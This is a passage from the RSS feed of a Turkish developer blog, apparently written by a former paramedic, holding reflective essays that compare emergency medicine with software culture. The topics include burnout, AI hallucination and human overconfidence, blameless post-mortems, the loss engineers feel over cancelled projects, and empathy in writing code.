<p>Silikon Vadisi şirketlerinin icat ettiği en sinsi psikolojik manipülasyon, ofisi "eve" dönüştürmektir. Ücretsiz yemek, ücretsiz çamaşırhane, oyun odası, uyku kabinleri, meditasyon odaları... Tüm bunlar çalışan "mutluluğu" için değil, çalışanın ofisten <strong>ayrılmaması</strong> için tasarlanmıştır.</p>
<p>Eğer ofiste ücretsiz akşam yemeği veriyorsanız, çalışan akşam 6'da eve gitmez. Eğer ofiste çamaşırhane varsa, çalışan hafta sonu o işi yapma bahanesini kaybeder. Eğer ofiste uyku kabini varsa, "Eve gidip uyuyayım" seçeneği ortadan kalkar.</p>
<p>Bu, çalışanı altın kafeste tutmanın en rafine halidir. Kafes o kadar rahat, o kadar güzel ki içinde olduğunuzu fark etmezsiniz. Ta ki bir gün kafes kapandığında — projeniz geciktiğinde, performans değerlendirmeniz düşük geldiğinde, ofisteki o "aile ortamı" bir anda soğuk bir kurumsal ortama dönüştüğünde — tüm o ücretsiz avokadolu tostların aslında bir fiyatı olduğunu anlarsınız.</p>
<h3>Gerçek Denge Nedir?</h3>
<p>İş-yaşam dengesi bir oran (ratio) değildir. Gününüzü yüzde elli iş, yüzde elli yaşam diye bölmeniz gerekmez. Gerçek denge, sınırdır. Nerede durduğunuzu bilmektir.</p>
<p>Acil tıpta bu sınır somuttur: Nöbetiniz bittiğinde gidersiniz. Ambulansın anahtarını teslim edersiniz. Radyonuzu kapatırsınız. O andan itibaren ne çağrı alırsınız ne de "Acaba birisine bir şey oldu mu?" diye düşünürsünüz. Çünkü bilirsiniz ki dinlenmemiş bir paramedik, bir sonraki müdahalede hastayı değil, kendisini riske atar.</p>
<p>Yazılımda bu sınır bulanıktır. Laptop'unuz her zaman yanınızdadır. Slack her zaman açıktır. E-posta her zaman okunabilir durumdadır. Ve "acil" kelimesi, üç satırlık bir CSS düzeltmesi için bile kullanılabilir.</p>
<p>Gerçek iş-yaşam dengesi, laptop'u kapattığınızda kapanıp kalmayı başarmaktır. Bildirim sesini duyduğunuzda refleks olarak telefona uzanmamaktır. "Bu benim mesai saatlerim dışında" diyebilme cesaretini göstermektir.</p>
<p>Bu cesaret, bir şirketin size vereceği bir "perk" (yan hak) değildir. Kendinize vereceğiniz bir sözdür. Ve tıpkı iyi yazılmış bir kod gibi, bu sözü tutmak disiplin, farkındalık ve bazen de "Hayır" diyebilme gücü gerektirir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kariyer</category>
            <category>burnout</category>
            <category>work-life balance</category>
            <category>yazılım kültürü</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/404-hayat-bulunamadi-yazilimcilarin-is-yasam-dengesi-yalani/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yapay Zekanın Halüsinasyonları ve İnsan Kibri]]></title>
            <link>http://localhost:3000/blog/post/yapay-zekanin-halusinasyonlari-ve-insan-kibri</link>
            <guid>yapay-zekanin-halusinasyonlari-ve-insan-kibri</guid>
            <pubDate>Sat, 10 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[ChatGPT’nin bilmediği bir kütüphaneyi varmış gibi anlatmasıyla, bir Junior’ın mülakatta Kafka bildiğini iddia etmesi arasında algoritma farkı dışında bir fark yoktur.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yapay-zekanin-halusinasyonlari-ve-insan-kibri/thumbnail" alt=""> Son aylarda yazılım dünyasının en büyük eğlencelerinden biri, Büyük Dil Modellerinin (LLM) yaptıkları komik hataları, nam-ı diğer "halüsinasyonları" (hallucinations) ekran görüntüleri alıp Twitter'da veya Reddit'te paylaşmak oldu.</p>
<p>Bir yapay zekaya kod yazdırıyorsunuz ve size var olmayan bir JavaScript kütüphanesini kullanmanızı öneriyor. Üstelik bu uydurma kütüphanenin nasıl kurulacağını, içindeki fonksiyonların nasıl çalışacağını o kadar özgüvenli, o kadar akademik bir dille anlatıyor ki, bir an için kendinizden şüphe ediyorsunuz. "Acaba ben mi bilmiyorum?"</p>
<p>Çoğumuz bu durumu yapay zekanın "aptallığı" veya "henüz yeterince gelişmemiş olması" olarak yorumlayıp geçiyoruz. Ancak aynayı kendimize çevirdiğimizde, aslında çok daha rahatsız edici bir gerçekle yüzleşiyoruz: Biz de tam olarak aynı şeyi yapıyoruz.</p>
<h3>Özgüvenli Uydurmanın Evrimi</h3>
<p>Yapay zekanın halüsinasyonları, aslında insani kibrin (hubris) algoritmik bir yansımasından ibarettir. İnsanlar olarak, özellikle profesyonel ortamlarda, "Bilmiyorum" demeyi zayıflık olarak algılamaya programlanmış durumdayız.</p>
<p>Şu senaryoyu düşünün: Önemli bir iş mülakatındasınız. Karşınızdaki teknik yönetici size, adını hayatınızda ilk defa duyduğunuz "X" aracıyla ilgili deneyiminizi soruyor. O anki sessizlik saniyeler sürse de size saatler gibi gelir. Ve beyninizdeki nöral ağlar (tıpkı ChatGPT gibi) o kelimenin etrafındaki en muhtemel kelimeleri bir araya getirerek özgüvenli bir cümle kurar: <em>"X aracını doğrudan production'da kullanmadım ama arkasındaki mimari yapıya ve dağıtık sistem prensiplerine oldukça hakimim."</em></p>
<p>Tebrikler. Az önce beyniniz, tamamen bir dil modeli halüsinasyonu yarattı. İçi tamamen boş, teknik olarak hiçbir şey ifade etmeyen ama gramer olarak kusursuz, muazzam özgüvenli bir yalan.</p>
<h3>Bilmemenin Dayanılmaz Ağırlığı</h3>
<p>ChatGPT'nin var olmayan kütüphaneler uydurmasıyla, beyaz yakalı bir yöneticinin toplantıda "Sinerjiyi proaktif bir şekilde end-to-end yönetmeliyiz" diyerek konuşması arasında hiçbir mimari fark yoktur. İkisi de elindeki yetersiz veri setini, kulağa en mantıklı gelecek şekilde sıraya dizmekten ibarettir.</p>
<p>Yapay zeka modelleri, kelimelerin istatistiksel olasılıklarını hesaplayarak cümle kurarlar. Bilmedikleri bir şey sorulduğunda sessiz kalmak yerine, mevcut bağlama en uygun kelimeyi "uydururlar". Çünkü onların hedef fonksiyonu (objective function) size doğruyu söylemek değil, sizin tatmin olacağınız, ikna edici bir metin üretmektir.</p>
<p>Tıpkı modern eğitim ve iş sistemimizin insanları kodladığı gibi. Bize doğruyu söylemek değil, "yeterince ikna edici görünmek" öğretildi.</p>
<h3>Aynadaki Yüzümüz</h3>
<p>Yapay zekanın hatalarına gülerken, aslında yaratıcısının zaaflarına gülüyoruz. Yapay zeka, internetin tüm bilgi birikimini değil, internetin tüm <strong>davranış biçimlerini</strong> emerek öğrendi. Ve bizim en büyük davranış biçimimiz, cehaletimizi sahte bir özgüvenin arkasına saklamaktır.</p>
<p>Belki de yapay zekayı düzeltmeden önce, kendi "bilmiyorum" diyebilme kasımızı geliştirmemiz gerekiyor. Çünkü "Bunu bilmiyorum, araştırıp öğrenebilirim" diyebilen bir Junior geliştirici, yalan söyleyen milyar parametreli bir modelden çok daha değerlidir. Yapay zeka bizim uydurma sanatımızı mükemmelleştirmeden önce, bizim dürüstlük sanatını hatırlamamızın vakti geldi.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>yapay zeka</category>
            <category>felsefe</category>
            <category>insan</category>
            <category>psikoloji</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yapay-zekanin-halusinasyonlari-ve-insan-kibri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Mavi Kod" ve Production'da "Git Push --Force"]]></title>
            <link>http://localhost:3000/blog/post/mavi-kod-ve-productionda-git-push---force</link>
            <guid>mavi-kod-ve-productionda-git-push---force</guid>
            <pubDate>Fri, 09 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Mavi kod anında kimse "Bu hastanın kalbini kim durdurdu?" diye sormaz. Sadece masaja başlarlar. Biz ise çöken sunucunun başında son PR'ı kimin onayladığını arıyoruz.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mavi-kod-ve-productionda-git-push---force/thumbnail" alt=""> Hastanelerde "Mavi Kod" (Code Blue) anonsu yapıldığında, bir hastanın kalbi durmuştur veya solunum arresti yaşanmıştır. Bu anons, binanın her köşesindeki hoparlörlerden aynı anda duyulur ve saniyeler içinde bir resüsitasyon ekibi o hastanın başına koşar.</p>
<p>Mavi kod ekibinin çalışma dinamiği, insanlık tarihindeki en rafine edilmiş kriz yönetimi protokollerinden biridir. Odaya giren herkes rolünü bilir: Biri göğüs kompresyonuna başlar, biri hava yolunu yönetir, biri ilaçları hazırlar, biri zamanı tutar. Kimse bağırmaz. Kimse birbirini suçlamaz. Kimse "Bu hastaya kim bu ilacı verdi de kalbi durdu?" diye sormaz. Çünkü o an için tek bir hedef vardır: <strong>Hastayı geri getirmek.</strong></p>
<p>Şimdi bu sahneyi yazılım dünyasıyla kıyaslayalım.</p>
<h3>Production Çöktüğünde: Suç Avı Başlar</h3>
<p>Cuma akşamı saat 18:30. Herkes evine gitmeye hazırlanırken Slack'ten o korkunç bildirim gelir: "🔴 PRODUCTION DOWN — Tüm kullanıcılar 500 hatası alıyor."</p>
<p>Bir hastanede bu an, mavi kodun ilan edildiği andır. Ama bir yazılım şirketinde olan şey bambaşkadır. İlk beş dakika şöyle geçer:</p>
<ul>
<li><strong>Dakika 1:</strong> "Ben bir şey yapmadım."</li>
<li><strong>Dakika 2:</strong> "Son deploy'u kim yaptı?"</li>
<li><strong>Dakika 3:</strong> "Backend'in PR'ını kim onayladı?"</li>
<li><strong>Dakika 4:</strong> "Bu feature zaten riskli demiştim ama kimse dinlemedi."</li>
<li><strong>Dakika 5:</strong> Sistem hâlâ çökmüş durumda. Kimse çözüme odaklanmıyor çünkü herkes kendini aklamakla meşgul.</li>
</ul>
<p>Eğer bir hastanede mavi kod anında ekip üyeleri "Ben bu hastaya dokunmadım" diyerek odadan çıkmaya çalışsaydı, o hasta kesinlikle ölürdü. Ama yazılım dünyasında tam olarak bunu yapıyoruz. Sistemi hayata döndürmek yerine, suçluyu bulmaya harcadığımız her dakika, kullanıcılarımızın güvenini biraz daha öldürüyor.</p>
<h3>Suçsuz Post-Mortem: Acil Tıptan Bir Ders</h3>
<p>Acil tıpta resüsitasyon bittikten sonra yapılan bir değerlendirme toplantısı vardır. Bu toplantıda neler doğru gitti, neler yanlış gitti, hangi protokol ihlal edildi tartışılır. Ancak bu toplantının temel kuralı şudur: <strong>Kişiler değil, süreçler sorgulanır.</strong></p>
<p>"Dr. Aslı neden yanlış ilaç verdi?" yerine "İlaç etiketleme sistemimiz neden bu karışıklığa izin veriyor?" sorusu sorulur. Çünkü acil tıp, bireysel hataların kaçınılmaz olduğunu kabul eder. Önemli olan, sistemin bu bireysel hataları yakalayacak ve telafi edecek şekilde tasarlanmasıdır.</p>
<p>Yazılım dünyasının buna karşılık gelen aracı "Blameless Post-Mortem" (Suçsuz Olay Sonrası Değerlendirme) olarak bilinir. Google, Etsy, Netflix gibi şirketler bu kültürü benimsemiştir. Ancak çoğu küçük ve orta ölçekli şirkette post-mortem toplantıları hâlâ "Kimin suçu?" sorusuyla başlar ve biter.</p>
<p>Bu kültür, uzun vadede ekibin korkudan risk almaktan kaçınmasına, deploy sıklığının düşmesine ve en tehlikelisi geliştiricilerin hataları gizlemesine yol açar. Çünkü bir hata yaptığınızda cezalandırılacağınızı bilirseniz, hatayı bildirmek yerine üstünü örtmeyi tercih edersiniz. Ve üstü örtülen hatalar, ileride çok daha büyük felaketlere dönüşür.</p>
<h3>Panik Yönetimi: Nabzınız mı, Sunucunuzun Nabzı mı?</h3>
<p>Bir paramedik olarak en zor öğrendiğiniz beceri, panik yapmamaktır. Karşınızda kanlar içinde, bilinci kapalı bir insan yatarken kendi kalbinizin hızlanmasını hissedersiniz. Ama yılların eğitimi ve pratiği size şunu öğretmiştir: <strong>Önce kendi nabzınızı kontrol edin.</strong> Çünkü panik halindeki bir kurtarıcı, kurtarıcı değildir; ikinci bir kurbandır.</p>
<p>Yazılım krizlerinde de bu prensip birebir geçerlidir. Production çöktüğünde panikle atılan bir <code>git revert</code> veya daha kötüsü bir <code>git push --force</code>, zaten yaralı olan sistemi tamamen öldürebilir. Sakin bir şekilde logları okumak, sorunu izole etmek ve adım adım müdahale etmek ile "HER ŞEYİ GERİ AL!" diye bağırmak arasındaki fark, hastayı kurtarmakla kaybetmek arasındaki fark kadardır.</p>
<p>Bir dahaki sefere production çöktüğünde, kendinize mavi kod anındaki o ekibi hatırlatın. Suçlu aramayın. Rolünüzü bilin. Önce sistemi stabilize edin. Otopsiyi, hasta hayata döndükten sonra yaparsınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kriz yönetimi</category>
            <category>DevOps</category>
            <category>paramedik</category>
            <category>yazılım</category>
            <category>kültür</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mavi-kod-ve-productionda-git-push---force/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[İnsan Vücudunu Debug Etmek: Log Dosyası Olmayan Bir Sistem]]></title>
            <link>http://localhost:3000/blog/post/insan-vucudunu-debug-etmek-log-dosyasi-olmayan-bir-sistem</link>
            <guid>insan-vucudunu-debug-etmek-log-dosyasi-olmayan-bir-sistem</guid>
            <pubDate>Thu, 08 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Bilinci kapalı bir hasta, size "Segmentation Fault" bile diyemeyen bir sunucu gibidir. Tüm mimariyi sadece dış belirtilere bakarak tahmin etmek zorundasınızdır.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/insan-vucudunu-debug-etmek-log-dosyasi-olmayan-bir-sistem/thumbnail" alt=""> Bir yazılımcının hayatındaki en büyük lükslerden biri, sistemin kendisini anlatmasıdır. Bir uygulama çöktüğünde size bir hata mesajı verir. Log dosyalarını açarsınız, stack trace'i (hata izini) okursunuz ve sorunun tam olarak hangi satırda, hangi fonksiyonda, hangi değişkenin hangi beklenmedik değeri aldığı yüzünden meydana geldiğini görürsünüz. Sistem size "Bak, sorun burada, şu yüzden oldu" diye bağırır.</p>
<p>Şimdi bu lüksü tamamen ortadan kaldırın.</p>
<p>Karşınızda bilinçsiz bir insan yatıyor. Yerde bulunmuş. Etrafında hiçbir tanık yok. Kimliği belirsiz. Alerjileri bilinmiyor. Kronik hastalıkları bilinmiyor. Hangi ilaçları kullandığı bilinmiyor. Ve bu insan size tek bir hata mesajı bile veremiyor. Log dosyası yok. Stack trace yok. <code>console.log</code> çıktısı yok. Sadece bir beden var; nefes alıp almadığını, kalbinin atıp atmadığını, gözbebeklerinin ışığa tepki verip vermediğini kontrol ederek o bedenin "mimarisini" çözmeye çalışıyorsunuz.</p>
<p>İşte paramediklik, log dosyası olmayan bir sistemi debug etme sanatıdır.</p>
<h3>Dış Belirtilerden İç Mimariyi Okumak</h3>
<p>Yazılımda "Black Box Testing" (Kara Kutu Testi) diye bir kavram vardır. Sistemin iç yapısını bilmeden, sadece girdilere verdiği çıktılara bakarak o sistemin doğru çalışıp çalışmadığını test edersiniz.</p>
<p>Acil tıpta her hasta müdahalesi bir kara kutu testidir. Hastanın iç organlarını göremezsiniz (en azından sahada). Beyninin içine bakıp "Ah, burada bir kanama var" diyemezsiniz. Onun yerine dış belirtileri (semptomları) okursunuz ve bu parçalardan bir bütün oluşturursunuz:</p>
<ul>
<li>Cildi solgun ve soğuksa → muhtemelen kan kaybı var (internal bleeding).</li>
<li>Bir taraftaki gözbebeği diğerinden büyükse → kafa içi basınç artışı olabilir.</li>
<li>Nefes sesleri bir tarafta duyulmuyor → akciğer çökmüş (pnömotoraks) olabilir.</li>
<li>Karın sert ve gerginse → iç kanama ihtimali yüksek.</li>
</ul>
<p>Bu ipuçları, bir yazılımcının log dosyasındaki "ERROR", "WARNING" ve "INFO" satırlarına karşılık gelir. Tek fark şudur: yazılımcı yanlış bir çıkarım yaparsa en kötü ihtimalle sunucu birkaç dakika daha çöker. Paramedik yanlış bir çıkarım yaparsa, karşısındaki insan ölür.</p>
<h3>Timeout Problemi: Zaman Baskısı Altında Karar Vermek</h3>
<p>Bir yazılımcı olarak debug yaparken en büyük avantajınız zamandır. Bir bug'ı saatlerce, hatta günlerce araştırabilirsiniz. Kahvenizi yudumlarken Stack Overflow'da benzer vakaları inceleyebilir, farklı hipotezleri test edebilir, meslektaşlarınızla beyin fırtınası yapabilirsiniz.</p>
<p>Acil tıpta bu lüks yoktur. Sahada bir hastayı değerlendirmek ve karar vermek için genellikle 60 saniyeniz vardır. Bilişsel yükünüz (cognitive load) had safhadadır. Etrafınızda bağıran insanlar, trafik sesleri, bazen fiziksel tehlikeler vardır. Ve tüm bu kaosun içinde, eksik verilerle hayati bir karar vermek zorundasınızdır.</p>
<p>Bu, yazılımdaki "timeout" konseptinin gerçek hayattaki en acımasız versiyonudur. Sunucunuz bir isteğe 30 saniye içinde yanıt vermezse, istemci bağlantıyı koparır. Siz bir hastayı 60 saniye içinde doğru değerlendiremezseniz, vücut kendi "bağlantısını" koparır.</p>
<h3>Redundancy ve Failover: Vücudun Yedekleme Sistemi</h3>
<p>İnsan vücudunun yazılım mimarisi açısından en etkileyici yanı, dahili yedekleme (redundancy) sistemidir. İki böbreğiniz vardır; biri çalışmasa diğeri devralır. Karaciğerinizin yüzde yetmişi hasar görse bile geri kalanı fonksiyonlarını sürdürebilir. Beyin, hasarlı bir bölgenin görevlerini başka bölgelere aktarabilir (nöroplastisite).</p>
<p>Bu, yazılım dünyasındaki "failover" (yük devretme) mekanizmasının milyonlarca yıllık evrimsel versiyonudur. Ancak vücudun yazılımdan bir farkı var: vücudun yedekleme sistemi sessizdir. Bir böbreğiniz çalışmayı durdurduğunda size bir uyarı e-postası göndermez. Karaciğeriniz yüzde otuz kapasiteye düştüğünde bir Slack bildirimi almıyorsunuz. Vücut, son ana kadar telafi etmeye çalışır ve siz sorunun farkına vardığınızda genellikle çok geç olmuş demektir.</p>
<p>Bir paramedik olarak öğrendiğim en önemli şey şudur: <strong>Görünür belirtiler, hasarın son evresidir.</strong> Hasta yere yığıldığında sorun çoktan kritik seviyeye ulaşmıştır. Tıpkı bir sunucunun CPU'su yüzde yüze çıkıp alarm verdiğinde, asıl sorunun çoktan dakikalar önce başlamış olması gibi.</p>
<p>İster insan vücudu olsun ister bir dağıtık sistem, gerçek mühendislik belirtileri görmeden önce riskleri tahmin edebilme sanatıdır. Ve bu sanat, ne yazık ki hiçbir framework, kütüphane veya ders kitabıyla öğretilmez. Sadece sahada, gerçek krizlerin içinde, elleriniz titrerken ama aklınız berrak kalırken kazanılır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>felsefe</category>
            <category>paramedik</category>
            <category>yazılım</category>
            <category>debugging</category>
            <category>anatomi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/insan-vucudunu-debug-etmek-log-dosyasi-olmayan-bir-sistem/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Dijital Cenaze Töreni: Kapatılan Projelerin Matematiği]]></title>
            <link>http://localhost:3000/blog/post/dijital-cenaze-toreni-kapatilan-projelerin-matematigi</link>
            <guid>dijital-cenaze-toreni-kapatilan-projelerin-matematigi</guid>
            <pubDate>Wed, 07 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Google Graveyard'ı dolduran yüzlerce kapatılmış ürün. Her birinin arkasında yıllarca emek vermiş mühendisler var. Bir projenin kapatılması, bir hastayı kaybetmekten farklı mı?]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/dijital-cenaze-toreni-kapatilan-projelerin-matematigi/thumbnail" alt=""> Google Reader 2013'te kapatıldı. Inbox by Gmail 2019'da öldü. Google Stadia 2023'te mezara gömüldü. Hangouts, Allo, Google+, Picasa, Google Code... Liste uzar gider. "Google Graveyard" (Google Mezarlığı) adlı bir web sitesi var ve burada Google'ın kapatıp tarihin çöp kutusuna attığı 290'dan fazla ürünün listesini tutuyorlar. Her birinin bir doğum tarihi ve bir ölüm tarihi var. Tıpkı bir mezar taşı gibi.</p>
<p>Ama biz bu mezar taşlarının arkasındaki insanları hiç düşünüyor muyuz?</p>
<h3>Ölü Kodun Arkasındaki Canlı İnsanlar</h3>
<p>Her kapatılan projenin arkasında, o projeye aylar hatta yıllar boyunca emek vermiş mühendisler vardır. O ürünün mimarisini tasarlayan, ilk commit'i atan, ilk bug'ını gece yarısı düzelten, kullanıcılardan gelen ilk olumlu geri bildirimle gözleri parlayan insanlar.</p>
<p>Ve bir gün, genellikle bir Salı sabahı yapılan bir "all-hands" toplantısında, bir yönetici kısa bir sunum yapar: "Stratejik önceliklerimizi yeniden değerlendirdik ve X ürününü sonlandırma kararı aldık." Slaytlarda kâr-zarar tabloları, kullanıcı edinme maliyetleri ve "yatırım getirisi" (ROI) grafikleri gösterilir. Her şey matematik olarak mükemmel bir anlam taşır.</p>
<p>Ama o odada, bir yılını o ürüne veren mühendis için bu bir matematik problemi değildir. Bu bir cenaze törenidir. Ve en kötüsü, bu cenazede yas tutmanıza izin verilmez. Toplantı biter, herkes masasına döner ve bir sonraki projeye "aynı heyecanla" başlaması beklenir.</p>
<h3>Sunk Cost ve Duygusal Yatırım</h3>
<p>Ekonomide "Batık Maliyet Yanılgısı" (Sunk Cost Fallacy) kavramı, geçmişte yapılan yatırımların gelecekteki kararları etkilememesi gerektiğini söyler. Bir projeye 2 milyon dolar harcamış olmanız, o projenin devam etmesi için bir sebep değildir. Rasyonel olan, o projenin gelecekte getireceği değere bakarak karar vermektir.</p>
<p>Bu, kâğıt üzerinde tamamen mantıklıdır. Ama insanlar kâğıt üzerinde yaşamıyor.</p>
<p>Bir mühendis o projeye sadece saatlerini değil, kimliğinin bir parçasını yatırmıştır. "Ben X projesinin baş geliştiricisiyim" demiştir sosyal ortamlarda. O projenin başarılarını kendi başarıları olarak hissetmiştir. Arkadaşlarına "Şu özelliği ben yaptım" diye gururla göstermiştir.</p>
<p>Bu duygusal yatırımın bir batık maliyet tablosunda karşılığı yoktur. CFO'nun Excel'inde görünmez. Ama o mühendiste bıraktığı iz, bir sonraki projede azalmış motivasyon, şirkete olan güvenin erozyonu ve "Neden emek vereyim ki, bunu da kapatacaklar" düşüncesi olarak geri döner.</p>
<h3>Paramedikler ve Kayıp</h3>
<p>Paramedik olarak hastalarınızı kaybetmeyi öğrenirsiniz. Bu, mesleğin en karanlık ve en kaçınılmaz parçasıdır. Her kaybın ardından kendinize sordunuz soruları hatırlarsınız: "Daha hızlı müdahale edebilir miydim? Farklı bir ilaç versem sonuç değişir miydi?" Bu sorular sizi kemirmeye başladığında, deneyimli bir meslektaşınız gelir ve şöyle der: "Bazı hastaları kurtaramazsın. Bu senin hatanla ilgili değil, durumun ağırlığıyla ilgili."</p>
<p>Yazılım dünyasında bu tür bir duygusal destek mekanizması yoktur. Bir proje kapatıldığında kimse gelip "Bu senin kodunla ilgili değildi, pazar koşulları uygun değildi" demez. Şirketler, projelerini kapattığında bunu soğuk bir iş kararı olarak sunar ve ekipten ertesi gün yeni bir projeye aynı tutkuyla başlamasını bekler.</p>
<p>Ama insan beyni böyle çalışmaz. Her kayıp, ister bir hasta ister bir proje olsun, bir iz bırakır. Ve bu izler işlenmezse birikerek tükenmişliğe (burnout) dönüşür.</p>
<h3>Dijital Mezarlıkta Yürümek</h3>
<p>Bir dahaki sefere eski bir projenizin kapandığını duyduğunuzda, o projeye harcadığınız zamanı "boşa gitti" olarak düşünmeyin. O süreçte öğrendiğiniz mimari kararlar, yapılan hatalar, ekip dinamikleri ve teknik zorluklar sizin mühendislik DNA'nıza işlemiştir. Ürün ölebilir ama deneyim ölmez.</p>
<p>Ve belki de yazılım sektörünün ihtiyacı olan şey, projelerin kapatılmasını bir "başarısızlık" değil, bir "mezuniyet" olarak görmektir. O proje tamamlandı. Rolünü oynadı. Sizin o versiyonunuzu şekillendirdi. Şimdi sıra, o deneyimle daha güçlü bir şey inşa etmekte.</p>
<p>Her yazılım projesi, eninde sonunda ya kapanır ya da legacy koda dönüşür. İkisi de bir nevi ölümdür. Ama bazı ölümler, yeni başlangıçların habercisidir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>psikoloji</category>
            <category>yazılım</category>
            <category>kariyer</category>
            <category>kayıp</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/dijital-cenaze-toreni-kapatilan-projelerin-matematigi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Empati Derleyicisi: Neden İyi Kod Yazmak İçin İyi İnsan Olmak Gerekir]]></title>
            <link>http://localhost:3000/blog/post/empati-derleyicisi-neden-iyi-kod-yazmak-icin-iyi-insan-olmak-gerekir</link>
            <guid>empati-derleyicisi-neden-iyi-kod-yazmak-icin-iyi-insan-olmak-gerekir</guid>
            <pubDate>Tue, 06 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Temiz kod yazmak teknik bir beceri değil, bir empati eylemidir. O kodu 6 ay sonra okuyacak kişiyi düşünmek, gece 3'te debug edecek yeni mezunu hayal etmek...]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/empati-derleyicisi-neden-iyi-kod-yazmak-icin-iyi-insan-olmak-gerekir/thumbnail" alt=""> Robert C. Martin'in "Clean Code" kitabı yazılım dünyasının kutsal metinlerinden biri olarak kabul edilir. İçindeki prensipler — tek sorumluluk, anlamlı isimlendirme, küçük fonksiyonlar — o kadar çok tekrarlanmıştır ki artık herkesin ezbere bildiği ama kimsenin gerçekten uygulamadığı birer klişeye dönüşmüştür.</p>
<p>Ama Martin'in kitabında satır aralarına gizlenmiş, çoğu kişinin gözünden kaçan bir cümle vardır: <em>"Kod, insanlar tarafından okunmak için yazılır; makineler tarafından çalıştırılması sadece bir yan etkidir."</em> Bu cümle, yazılım mühendisliğinin en derin gerçeğini barındırır: <strong>Kod yazmak, aslında bir iletişim eylemidir.</strong></p>
<p>Ve iletişimin kalitesi, doğrudan empati kapasitesiyle ölçülür.</p>
<h3>Gelecekteki Yabancıya Mektup</h3>
<p>Her yazdığınız fonksiyon, her oluşturduğunuz sınıf, her commit'lediğiniz dosya aslında gelecekte o kodu okuyacak birine yazılmış bir mektuptur. O kişi belki bir yıl sonraki kendinizdir; belki de projeye yeni katılmış, henüz mezun olmuş, heyecanlı ama tedirgin bir genç geliştiricidir.</p>
<p>Empati sahibi bir mühendis, kod yazarken şu soruyu sorar: "Bu kodu ilk defa gören, bağlamı bilmeyen, belki de gece 3'te çökmüş bir sistemi ayağa kaldırmaya çalışırken bu fonksiyonu okuyan biri ne hisseder?"</p>
<p>Eğer cevabınız "Muhtemelen kafası karışır, hangi parametrenin ne işe yaradığını anlamaz ve en az 30 dakikasını bu fonksiyonun ne yaptığını çözmeye harcar" ise, o kod teknik olarak çalışıyor olsa bile başarısızdır.</p>
<p>Paramediklikte buna benzer bir kavram vardır. Bir hastayı stabilize ettikten sonra hastaneye teslim ederken yazdığınız notlar, sizi hiç tanımayan bir doktor tarafından okunacaktır. O notların netliği, eksikliği veya karmaşıklığı, hastanın tedavi sürecini doğrudan etkiler. Sahadaki notlarınız karışıksa, hastanedeki ekip kritik bir bilgiyi kaçırabilir. Tıpkı karışık bir kod tabanında gizlenmiş bir bug'ın, aylar sonra production'ı çökertmesi gibi.</p>
<h3>"Çalışıyor" ile "Anlaşılıyor" Arasındaki Uçurum</h3>
<p>Yazılım dünyasında bir meritokrasi yanılsaması (meritocracy illusion) vardır: "En iyi kod, en hızlı çalışan koddur." Bu inanış, geliştiricileri okunaklılıktan çok performansa, anlaşılırlıktan çok zekice çözümlere yönlendirir.</p>
<p>Bir fonksiyonu tek satırda, üç tane ternary operatör ve bir reduce zinciriyle yazabilirsiniz. O satır muhtemelen çalışır, muhtemelen performanslıdır ve sizi muhtemelen çok zeki hissettirir. Ama o satırı iki ay sonra okuyan biri (ki o kişi büyük ihtimalle yine siz olacaksınız) "Bu ne?" diye ekrana bakakalmak zorunda kalacaktır.</p>
<p>Empati, bu noktada devreye girer. Empatik bir geliştirici, zekâsını göstermek için değil, karşısındakinin hayatını kolaylaştırmak için kod yazar. Fonksiyonu birkaç satıra böler. Değişkenlere anlamlı isimler verir. Karmaşık bir iş kuralı varsa üstüne bir yorum yazar — ama sadece "ne" yaptığını değil, "neden" böyle yapıldığını açıklayan bir yorum.</p>
<h3>Ego ve Kod İncelemesi (Code Review) Savaşları</h3>
<p>Kod incelemesi (Code Review), yazılım ekiplerinde empatinin sınandığı en keskin alandır. Birinin yazdığı kodu eleştirmek, dolaylı olarak onun düşünce sürecini, kararlarını ve yetkinliğini sorgulamaktır. Bu süreç ya bir öğrenme fırsatına ya da bir ego savaşına dönüşebilir.</p>
<p>Empatiden yoksun bir kod incelemesi şöyle görünür: <em>"Bu yaklaşım tamamen yanlış. Neden X pattern'ı kullanmadın?"</em> Bu geri bildirim teknik olarak doğru olabilir ama alıcısında savunma refleksi tetikler, öğrenme kapısını kapatır ve ekip içi güveni aşındırır.</p>
<p>Empatik bir kod incelemesi ise şöyle görünür: <em>"Buradaki yaklaşımı anlıyorum. Bir de X pattern'ını denemeyi düşündün mü? Şu senaryoda avantaj sağlayabilir."</em> Aynı teknik geri bildirim, ama alıcısına saygı gösteren, onun perspektifini kabul eden ve birlikte öğrenmeye davet eden bir ton.</p>
<h3>Derleyicinin Görmediği Hatalar</h3>
